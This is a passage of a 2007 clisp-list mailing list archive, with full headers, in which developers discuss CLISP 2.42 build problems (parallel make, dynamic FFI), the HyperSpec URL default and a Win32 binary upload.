mail server with no name Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Building a Windows Clisp version Inquiry X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 17 Oct 2007 05:14:15 -0000 Thanks. That would be great. On 10/16/07, Jack Unrue wrote: > On 10/11/07, Sam Steingold wrote: > > > > I would be interested in incorporating a working patch based on the > > first and third parts of Frank's patch into the official CLISP > > distribution, provided this no-console behavior were optional, at > > run-time (based on a command-line option) if possible, or at build time > > (based on a configure option) if necessary. > > I wasn't able to get to this prior to the 2.42 release, but I want to > create such a patch in the next week or so. > > -- > Jack Unrue > > ------------------------------------------------------------------------- > This SF.net email is sponsored by: Splunk Inc. > Still grepping through log files to find problems? Stop. > Now Search log events and configuration files using AJAX and a browser. > Download your FREE copy of Splunk now >> http://get.splunk.com/ > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > -- Elliott Slaughter "Any road followed precisely to its end leads precisely nowhere." - Frank Herbert From hkBst@gentoo.org Wed Oct 17 04:59:42 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Ii7Ys-0001Sk-Gn for clisp-list@lists.sourceforge.net; Wed, 17 Oct 2007 04:59:42 -0700 Received: from pollux.sshunet.nl ([145.97.192.42]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ii7Yr-0002t4-3F for clisp-list@lists.sourceforge.net; Wed, 17 Oct 2007 04:59:42 -0700 Received: from localhost (localhost.localdomain [127.0.0.1]) by pollux.sshunet.nl (Postfix) with ESMTP id E9E5858002E for ; Wed, 17 Oct 2007 13:59:33 +0200 (CEST) X-Virus-Scanned: Debian amavisd-new at pollux.warande.net Received: from pollux.sshunet.nl ([127.0.0.1]) by localhost (pollux.sshunet.nl [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id KzlV4jCS9Voe for ; Wed, 17 Oct 2007 13:59:33 +0200 (CEST) Received: from [145.97.223.120] (120pc223.sshunet.nl [145.97.223.120]) by pollux.sshunet.nl (Postfix) with ESMTP for ; Wed, 17 Oct 2007 13:59:33 +0200 (CEST) Message-ID: <4715F9D2.8020106@gentoo.org> Date: Wed, 17 Oct 2007 14:02:26 +0200 From: "Marijn Schouten (hkBst)" User-Agent: Thunderbird 2.0.0.6 (X11/20070802) MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: X-Enigmail-Version: 0.95.3 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] HyperSpec URL [Re: [clisp-announce] GNU CLISP 2.42 (2007-10-16) released] X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 17 Oct 2007 11:59:42 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, the default HyperSpec URL is set in /config.lisp as: (setq *clhs-root-default* "http://www.lisp.org/HyperSpec/") but perhaps it should be set to "http://www.lisp.org/HyperSpec/FrontMatter/" ? Marijn - -- Marijn Schouten (hkBst), Gentoo Lisp project , #gentoo-lisp on FreeNode -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.7 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFHFfnSp/VmCx0OL2wRAkV4AKCs7H4vAIPfy0BU+2Uyd3wLuxJ7zACgoiyS KT7BXJDk2ZL30MN+8b1qUUk= =24Mq -----END PGP SIGNATURE----- From hkBst@gentoo.org Wed Oct 17 05:35:50 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Ii87p-00057F-RG for clisp-list@lists.sourceforge.net; Wed, 17 Oct 2007 05:35:50 -0700 Received: from castor.sshunet.nl ([145.97.192.41]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ii87o-0000AK-2N for clisp-list@lists.sourceforge.net; Wed, 17 Oct 2007 05:35:49 -0700 Received: from localhost (localhost.localdomain [127.0.0.1]) by castor.sshunet.nl (Postfix) with ESMTP id B51E657C010 for ; Wed, 17 Oct 2007 14:35:40 +0200 (CEST) X-Virus-Scanned: Debian amavisd-new at castor.sshunet.nl Received: from castor.sshunet.nl ([127.0.0.1]) by localhost (castor.sshunet.nl [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id yDiDHcYFHZNX for ; Wed, 17 Oct 2007 14:35:40 +0200 (CEST) Received: from [145.97.223.120] (120pc223.sshunet.nl [145.97.223.120]) by castor.sshunet.nl (Postfix) with ESMTP for ; Wed, 17 Oct 2007 14:35:40 +0200 (CEST) Message-ID: <47160249.1020007@gentoo.org> Date: Wed, 17 Oct 2007 14:38:33 +0200 From: "Marijn Schouten (hkBst)" User-Agent: Thunderbird 2.0.0.6 (X11/20070802) MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: X-Enigmail-Version: 0.95.3 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] parallel build fails [Re: [clisp-announce] GNU CLISP 2.42 (2007-10-16) released] X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 17 Oct 2007 12:35:50 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, CLISP 2.42 fails when doing parallel build: ;; Loaded file /var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/readline/readline.fas 3356328 ; 838042 rm -rf full CLISP_LINKKIT=. ./clisp-link add-module-sets base full wildcard rawsock bindings/glibc clx/mit-clx pcre zlib || (rm -rf full ; exit 1) make[1]: Entering directory `/var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/wildcard' make[1]: warning: jobserver unavailable: using -j1. Add `+' to parent make rule. make[1]: Nothing to be done for `clisp-module'. make[1]: Leaving directory `/var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/wildcard' make[1]: Entering directory `/var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/rawsock' make[1]: warning: jobserver unavailable: using -j1. Add `+' to parent make rule. make[1]: Nothing to be done for `clisp-module'. make[1]: Leaving directory `/var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/rawsock' make[1]: Entering directory `/var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/bindings/glibc' make[1]: warning: jobserver unavailable: using -j1. Add `+' to parent make rule. make[1]: Nothing to be done for `clisp-module'. make[1]: Leaving directory `/var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/bindings/glibc' make[1]: Entering directory `/var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/clx/mit-clx' make[1]: warning: jobserver unavailable: using -j1. Add `+' to parent make rule. make[1]: Nothing to be done for `clisp-module'. make[1]: Leaving directory `/var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/clx/mit-clx' make[1]: Entering directory `/var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/pcre' make[1]: warning: jobserver unavailable: using -j1. Add `+' to parent make rule. make[1]: Nothing to be done for `clisp-module'. make[1]: Leaving directory `/var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/pcre' make[1]: Entering directory `/var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/zlib' make[1]: warning: jobserver unavailable: using -j1. Add `+' to parent make rule. make[1]: Nothing to be done for `clisp-module'. make[1]: Leaving directory `/var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/zlib' gcc -O2 -pipe -ggdb -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit - -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O -DUNICODE - -DDYNAMIC_FFI -I. - -I/var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir -c modules.c gcc -O2 -pipe -ggdb -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit - -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O -DUNICODE - -DDYNAMIC_FFI -I. -x none modules.o zlib.o -lz cpcre.o -lpcre linux.o -lm rawsock.o wildcard.o readline.o -lreadline -lncurses regexi.o regex.o calls.o - -lcrypt -lm gettext.o lisp.a libcharset.a libavcall.a libcallback.a /usr/lib64/libreadline.so -Wl,-rpath -Wl,/usr/lib64 -lncurses -ldl - -L/usr/lib64 -lsigsegv -L/usr/lib64 -lc -R/usr/lib64 -o lisp.run gcc: unrecognized option '-R/usr/lib64' linux.o: In function `module__linux__init_function_2': /var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/bindings/glibc/linux.c:816: warning: the use of `tmpnam' is dangerous, better use `mkstemp' /var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/bindings/glibc/linux.c:817: warning: the use of `tmpnam_r' is dangerous, better use `mkstemp' /var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/bindings/glibc/linux.c:818: warning: the use of `tempnam' is dangerous, better use `mkstemp' /var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/bindings/glibc/linux.c:554: warning: the use of `mktemp' is dangerous, better use `mkstemp' modules.o:(.data+0x340): undefined reference to `module__zlib__subr_tab' modules.o:(.data+0x348): undefined reference to `module__zlib__subr_tab_size' modules.o:(.data+0x350): undefined reference to `module__zlib__object_tab' modules.o:(.data+0x358): undefined reference to `module__zlib__object_tab_size' modules.o:(.data+0x368): undefined reference to `module__zlib__subr_tab_initdata' modules.o:(.data+0x370): undefined reference to `module__zlib__object_tab_initdata' modules.o:(.data+0x378): undefined reference to `module__zlib__init_function_1' modules.o:(.data+0x380): undefined reference to `module__zlib__init_function_2' modules.o:(.data+0x388): undefined reference to `module__zlib__fini_function' collect2: ld returned 1 exit status ./clisp-link: failed in /var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/full it buils fine with -j1 though, Marijn - -- Marijn Schouten (hkBst), Gentoo Lisp project , #gentoo-lisp on FreeNode -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.7 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFHFgJJp/VmCx0OL2wRAgz5AKDFQUI0bLPA3T+tWgVCEtzkN5o36QCeMDPv yibyugvyDLevotY/Zwh+n3U= =ih/b -----END PGP SIGNATURE----- From hkBst@gentoo.org Wed Oct 17 05:50:27 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Ii8Ly-0006Yk-VJ for clisp-list@lists.sourceforge.net; Wed, 17 Oct 2007 05:50:27 -0700 Received: from castor.sshunet.nl ([145.97.192.41]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ii8Lw-00060H-Ac for clisp-list@lists.sourceforge.net; Wed, 17 Oct 2007 05:50:26 -0700 Received: from localhost (localhost.localdomain [127.0.0.1]) by castor.sshunet.nl (Postfix) with ESMTP id 8106757C01D for ; Wed, 17 Oct 2007 14:50:18 +0200 (CEST) X-Virus-Scanned: Debian amavisd-new at castor.sshunet.nl Received: from castor.sshunet.nl ([127.0.0.1]) by localhost (castor.sshunet.nl [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id VDDrKoEoqMsA for ; Wed, 17 Oct 2007 14:50:18 +0200 (CEST) Received: from [145.97.223.120] (120pc223.sshunet.nl [145.97.223.120]) by castor.sshunet.nl (Postfix) with ESMTP for ; Wed, 17 Oct 2007 14:50:18 +0200 (CEST) Message-ID: <471605B7.50600@gentoo.org> Date: Wed, 17 Oct 2007 14:53:11 +0200 From: "Marijn Schouten (hkBst)" User-Agent: Thunderbird 2.0.0.6 (X11/20070802) MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: X-Enigmail-Version: 0.95.3 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] --with-dynamic-ffi [Re: [clisp-announce] GNU CLISP 2.42 (2007-10-16) released] X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 17 Oct 2007 12:50:27 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, configure --help says that --with-dynamic-ffi is the default, but without this option I get a build error: checking for mbstate_t... yes checking for working POSIX fnmatch... yes configure: ** Wildcard (Output) updating cache ../config.cache configure: creating ./config.status config.status: creating Makefile config.status: creating link.sh config.status: creating config.h configure: ** Wildcard (Done) CLISP="`pwd`/lisp.run -M `pwd`/lispinit.mem -B `pwd` -N `pwd`/locale -E 1:1 - -Efile UTF-8 -Eterminal UTF-8 -norc" ; cd wildcard ; dots=`echo wildcard/ | sed -e 's,[^/][^/]*//*,../,g' -e 's,/$,,g'` ; gmake clisp-module CC="gcc" CPPFLAGS="" CFLAGS="-O2 -pipe -ggdb -W -Wswitch -Wcomment -Wpointer-arith - -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O -DUNICODE - -I." INCLUDES="$dots" CLFLAGS="-x none" LIBS="libcharset.a /usr/lib64/libreadline.so -Wl,-rpath -Wl,/usr/lib64 -lncurses -ldl - -L/usr/lib64 -lsigsegv -L/usr/lib64 -lc -R/usr/lib64" RANLIB="ranlib" CLISP="$CLISP -q" gmake[1]: Entering directory `/var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/wildcard' /var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/lisp.run -M /var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/lispinit.mem -B /var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir -N /var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/locale -E 1:1 - -Efile UTF-8 -Eterminal UTF-8 -norc -q -c wildcard.lisp ;; Compiling file /var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/wildcard/wildcard.lisp ... *** - SYSTEM::%FIND-PACKAGE: There is no package with name "FFI" Marijn - -- Marijn Schouten (hkBst), Gentoo Lisp project , #gentoo-lisp on FreeNode -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.7 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFHFgW2p/VmCx0OL2wRAmvpAKCoJ0+Pvjsdd8DXBJxwjLjn8q8sggCgyMwX 3SlVuShYHUPS4LLAT1cI2As= =i7t/ -----END PGP SIGNATURE----- From sds@gnu.org Wed Oct 17 06:29:49 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Ii8y5-00025t-L5 for clisp-list@lists.sourceforge.net; Wed, 17 Oct 2007 06:29:49 -0700 Received: from janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ii8y3-0005JP-5M for clisp-list@lists.sourceforge.net; Wed, 17 Oct 2007 06:29:49 -0700 Received: from [172.25.131.105] [38.96.172.125] by janestcapital.com with ESMTP (SMTPD-9.10) id AE430844; Wed, 17 Oct 2007 09:29:39 -0400 Message-ID: <47160E43.1010801@gnu.org> Date: Wed, 17 Oct 2007 09:29:39 -0400 From: Sam Steingold User-Agent: Thunderbird 2.0.0.0 (X11/20070326) MIME-Version: 1.0 Followup-To: gmane.lisp.clisp.general To: "Marijn Schouten (hkBst)" References: <471605B7.50600@gentoo.org> In-Reply-To: <471605B7.50600@gentoo.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] --with-dynamic-ffi [Re: [clisp-announce] GNU CLISP 2.42 (2007-10-16) released] X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 17 Oct 2007 13:29:50 -0000 Marijn Schouten (hkBst) wrote: > > configure --help says that --with-dynamic-ffi is the default, but without this > option I get a build error: > > checking for mbstate_t... yes > checking for working POSIX fnmatch... yes > configure: ** Wildcard (Output) > updating cache ../config.cache > configure: creating ./config.status > config.status: creating Makefile > config.status: creating link.sh > config.status: creating config.h > configure: ** Wildcard (Done) > CLISP="`pwd`/lisp.run -M `pwd`/lispinit.mem -B `pwd` -N `pwd`/locale -E 1:1 > - -Efile UTF-8 -Eterminal UTF-8 -norc" ; cd wildcard ; dots=`echo wildcard/ | > sed -e 's,[^/][^/]*//*,../,g' -e 's,/$,,g'` ; gmake clisp-module CC="gcc" > CPPFLAGS="" CFLAGS="-O2 -pipe -ggdb -W -Wswitch -Wcomment -Wpointer-arith > - -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O -DUNICODE > - -I." INCLUDES="$dots" CLFLAGS="-x none" LIBS="libcharset.a > /usr/lib64/libreadline.so -Wl,-rpath -Wl,/usr/lib64 -lncurses -ldl > - -L/usr/lib64 -lsigsegv -L/usr/lib64 -lc -R/usr/lib64" RANLIB="ranlib" > CLISP="$CLISP -q" > gmake[1]: Entering directory > `/var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/wildcard' > /var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/lisp.run -M > /var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/lispinit.mem -B > /var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir -N > /var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/locale -E 1:1 > - -Efile UTF-8 -Eterminal UTF-8 -norc -q -c wildcard.lisp > ;; Compiling file > /var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/wildcard/wildcard.lisp > ... > *** - SYSTEM::%FIND-PACKAGE: There is no package with name "FFI" early in the log (right before makemake runs) configure reports its discoveries (like building with readline, ffi, libsigsegv &c). do you have the full log floating somewhere? thanks From sds@gnu.org Wed Oct 17 06:32:48 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Ii90y-0002QR-EU for clisp-list@lists.sourceforge.net; Wed, 17 Oct 2007 06:32:48 -0700 Received: from janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ii90w-0007zI-Tr for clisp-list@lists.sourceforge.net; Wed, 17 Oct 2007 06:32:48 -0700 Received: from [172.25.131.105] [38.96.172.125] by janestcapital.com with ESMTP (SMTPD-9.10) id AEF60448; Wed, 17 Oct 2007 09:32:38 -0400 Message-ID: <47160EF5.2070007@gnu.org> Date: Wed, 17 Oct 2007 09:32:37 -0400 From: Sam Steingold User-Agent: Thunderbird 2.0.0.0 (X11/20070326) MIME-Version: 1.0 Followup-To: gmane.lisp.clisp.general To: "Marijn Schouten (hkBst)" References: <47160249.1020007@gentoo.org> In-Reply-To: <47160249.1020007@gentoo.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] parallel build fails [Re: [clisp-announce] GNU CLISP 2.42 (2007-10-16) released] X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 17 Oct 2007 13:32:48 -0000 Marijn Schouten (hkBst) wrote: > `/var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/zlib' > gcc -O2 -pipe -ggdb -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit > - -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O -DUNICODE > - -DDYNAMIC_FFI -I. > - -I/var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir -c modules.c > gcc -O2 -pipe -ggdb -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit > - -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O -DUNICODE > - -DDYNAMIC_FFI -I. -x none modules.o zlib.o -lz cpcre.o -lpcre linux.o -lm > rawsock.o wildcard.o readline.o -lreadline -lncurses regexi.o regex.o calls.o > - -lcrypt -lm gettext.o lisp.a libcharset.a libavcall.a libcallback.a > /usr/lib64/libreadline.so -Wl,-rpath -Wl,/usr/lib64 -lncurses -ldl > - -L/usr/lib64 -lsigsegv -L/usr/lib64 -lc -R/usr/lib64 -o lisp.run > gcc: unrecognized option '-R/usr/lib64' > linux.o: In function `module__linux__init_function_2': > /var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/bindings/glibc/linux.c:816: > warning: the use of `tmpnam' is dangerous, better use `mkstemp' > /var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/bindings/glibc/linux.c:817: > warning: the use of `tmpnam_r' is dangerous, better use `mkstemp' > /var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/bindings/glibc/linux.c:818: > warning: the use of `tempnam' is dangerous, better use `mkstemp' > /var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/bindings/glibc/linux.c:554: > warning: the use of `mktemp' is dangerous, better use `mkstemp' > modules.o:(.data+0x340): undefined reference to `module__zlib__subr_tab' > modules.o:(.data+0x348): undefined reference to `module__zlib__subr_tab_size' > modules.o:(.data+0x350): undefined reference to `module__zlib__object_tab' > modules.o:(.data+0x358): undefined reference to `module__zlib__object_tab_size' > modules.o:(.data+0x368): undefined reference to `module__zlib__subr_tab_initdata' > modules.o:(.data+0x370): undefined reference to > `module__zlib__object_tab_initdata' > modules.o:(.data+0x378): undefined reference to `module__zlib__init_function_1' > modules.o:(.data+0x380): undefined reference to `module__zlib__init_function_2' > modules.o:(.data+0x388): undefined reference to `module__zlib__fini_function' > collect2: ld returned 1 exit status > ./clisp-link: failed in > /var/tmp/portage/dev-lisp/clisp-2.42/work/clisp-2.42/builddir/full > > it buils fine with -j1 though, I don't know how parallel build works. http://www.cygwin.com/acronyms/#PTC From sds@gnu.org Wed Oct 17 06:34:00 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Ii928-0002Wa-0p for clisp-list@lists.sourceforge.net; Wed, 17 Oct 2007 06:34:00 -0700 Received: from janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ii926-0008SE-Gh for clisp-list@lists.sourceforge.net; Wed, 17 Oct 2007 06:33:59 -0700 Received: from [172.25.131.105] [38.96.172.125] by janestcapital.com with ESMTP (SMTPD-9.10) id AF3E0550; Wed, 17 Oct 2007 09:33:50 -0400 Message-ID: <47160F3D.9070009@gnu.org> Date: Wed, 17 Oct 2007 09:33:49 -0400 From: Sam Steingold User-Agent: Thunderbird 2.0.0.0 (X11/20070326) MIME-Version: 1.0 Followup-To: gmane.lisp.clisp.general To: "Marijn Schouten (hkBst)" References: <4715F9D2.8020106@gentoo.org> In-Reply-To: <4715F9D2.8020106@gentoo.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] HyperSpec URL [Re: [clisp-announce] GNU CLISP 2.42 (2007-10-16) released] X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 17 Oct 2007 13:34:00 -0000 Marijn Schouten (hkBst) wrote: > the default HyperSpec URL is set in /config.lisp as: > > (setq *clhs-root-default* "http://www.lisp.org/HyperSpec/") > > but perhaps it should be set to "http://www.lisp.org/HyperSpec/FrontMatter/" ? this is the URL to which things like "Body/sec....html" are appended. From sds@gnu.org Wed Oct 17 06:52:29 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Ii9K0-0004Xm-TK for clisp-list@lists.sourceforge.net; Wed, 17 Oct 2007 06:52:29 -0700 Received: from janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ii9Jz-0007Hi-Gl for clisp-list@lists.sourceforge.net; Wed, 17 Oct 2007 06:52:28 -0700 Received: from [172.25.131.105] [38.96.172.125] by janestcapital.com with ESMTP (SMTPD-9.10) id A39508D4; Wed, 17 Oct 2007 09:52:21 -0400 Message-ID: <47161395.6070900@gnu.org> Date: Wed, 17 Oct 2007 09:52:21 -0400 From: Sam Steingold User-Agent: Thunderbird 2.0.0.0 (X11/20070326) MIME-Version: 1.0 Followup-To: gmane.lisp.clisp.general To: Jack Unrue References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] [clisp-announce] GNU CLISP 2.42 (2007-10-16) released X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 17 Oct 2007 13:52:29 -0000 Jack Unrue wrote: > I have uploaded clisp-2.42-win32-mingw-without-readline.zip to > upload.sourceforge.net/incoming > > clisp-2.42-win32-mingw-without-readline.zip > built by Jack Unrue > using mingw without i18n and readline > with rawsock, dirkey, wildcard and bindings/win32 thanks, uploaded. > It looks like autoconf needed to be run one last time so the > version string could be set to 2.42 rather than 2.41.1. I just > fixed that manually in configure and version.h prior to building > the distribution zip, and I verified that 'clisp --version' and > (lisp-implementation-version) report the correct version. ouch! I can't believe I did this again! > The install.bat file was not getting copied into my build > directory, and hence not into the distribution. I copied > it in manually so it would be in the right place when the > zip file got built. hmm - is this a regression? could you please investigate? from what I see in makemake.in it should work. > Congratulations to Sam on this latest release! thanks! and thanks to all the contributors! Sam. From hkBst@gentoo.org Wed Oct 17 07:01:14 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Ii9ST-0005So-W2 for clisp-list@lists.sourceforge.net; Wed, 17 Oct 2007 07:01:14 -0700 Received: from pollux.sshunet.nl ([145.97.192.42]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ii9SR-0002KB-GL for clisp-list@lists.sourceforge.net; Wed, 17 Oct 2007 07:01:13 -0700 Received: from localhost (localhost.localdomain [127.0.0.1]) by pollux.sshunet.nl (Postfix) with ESMTP id BB35458000A for ; Wed, 17 Oct 2007 16:01:04 +0200 (CEST) X-Virus-Scanned: Debian amavisd-new at pollux.warande.net Received: from pollux.sshunet.nl ([127.0.0.1]) by localhost (pollux.sshunet.nl [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id SjZgf-k+alex for ; Wed, 17 Oct 2007 16:01:04 +0200 (CEST) Received: from 